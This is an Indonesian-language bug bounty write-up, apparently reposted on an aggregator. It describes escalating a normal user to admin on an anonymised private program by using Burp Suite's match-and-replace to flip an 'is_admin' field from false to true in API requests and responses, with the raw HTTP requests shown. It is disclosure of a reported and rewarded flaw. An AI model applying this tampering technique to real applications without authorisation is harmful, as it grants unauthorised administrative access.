Vertical Privilege Escalation Using Burp Match And Replace

3 years ago 229
BOOK THIS SPACE FOR AD
ARTICLE AD

Marzuki

Halo kembali lagi dengan tulisan yang membosankan, saya akan menulis lagi bug yang saya temukan beberapa hari yang lalu di program.com (di samarkan karena program pribadi) menggunakan fitur burp math and replace. fungsi match and replace adalah menemukan “sesuatu” dan otomatis menggantinya dengan “sesuatu” di manapun itu. seperti di request header, request body, response header, response body, dan lainnya.

oke langsung saja, program.com memiliki fitur admin dan pengguna. hak admin yang memiliki akses ke semua fitur dan pengaturan organisasi di program itu. dan hak pengguna yang memiliki akses terbatas, lalu saya berfikir agar bagaimana hak pengguna bisa memiliki akses seperti admin.

saya mulai menelusuri semua fitur admin dan mengumpulkan semua titik akhir. selanjutnya menggunakan fitur pencarian di burp untuk menemukan param seperti “true” dan “false” dan saya menemukannya saat mengundang pengguna

POST /v2/user/add HTTP/2
Host: api.program.com
Content-Type: application/json
Sec-Fetch-Site: none
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: empty
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept-Language: id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
{"email":"youremail@email.com","is_admin":"false"}

saya langsung menambahkan “is_admin”:”false” ke “is_admin”:”true” di burp match and replace (request body). tetapi apa yang terjadi? ketika saya mengundang pengguna lagi pengguna itu langsung menjadi admin dan bukan pengguna biasa, tentu bukan di sini bugnya (jadi berhati-hatilah saat menggunakan fitur itu). oke saya menghapus param yang saya tambahkan di burp match and replace, kemudian saya menghapus semua pengguna yang saya undang sebelumnya dan saya mengundang lagi pengguna dengan hak “pengguna” lalu menerima undangan dan mendaftar pengguna. oke di sini saya mempunyai 2 akun (admin dan pengguna), lalu saya menulusuri lagi halaman admin dan ketika melakukan pembaruan nama (di halaman admin) respons menunjukkan sesuatu:

pembaruan nama hak akses admin:

POST /v2/user/ HTTP/2
Host: api.program.com
Content-Type: application/json
Sec-Fetch-Site: none
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: empty
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept-Language: id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
{"email":"admin@email.com","name":"adminasd"}

Response:

HTTP/1.1 200 OK{"email"admin@email.com","name":"adminasd","is_admin":"true"}

Pembaruan nama hak akses pengguna:

POST /v2/user/ HTTP/2
Host: api.program.com
Content-Type: application/json
Sec-Fetch-Site: none
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: empty
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept-Language: id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
{"email":"user@email.com","name":"thisisuser"}

Response:

HTTP/1.1 200 OK{"email"user@email.com","name":"thisisuser","is_admin":"false"}

saya melihat param is_admin lagi seperti pada saat mengundang pengguna, mungkin di sini letak bugnya, jadi saya menambahkan lagi di match and replace di bagian response body dengan “is_admin”:”false” ke “is_admin”:”true” lalu saya masuk ke akun dengan hak akses pengguna dan memperbarui nama dengan burp di aktifkan dan match and replace yang di atur seperti di atas. dan ya pengguna biasa di tingkatkan ke admin dan saya segera membuat laporan dan video PoC dan beberapa hari kemudian bug di nyatakan valid

dan saya di berikan bounty.

terimakasih telah membaca, anda bisa menggunakan fitur google translate di chrome untuk menerjemahkan tulisan saya ke bahasa lain, saya cukup malas untuk copy dan paste di google translate jadi saya menulis sebaik mungkin dengan bahasa saya. hubungi saya di twitter jika anda menjalankan program bugbounty pribadi.

Terimakasih.

Read Entire Article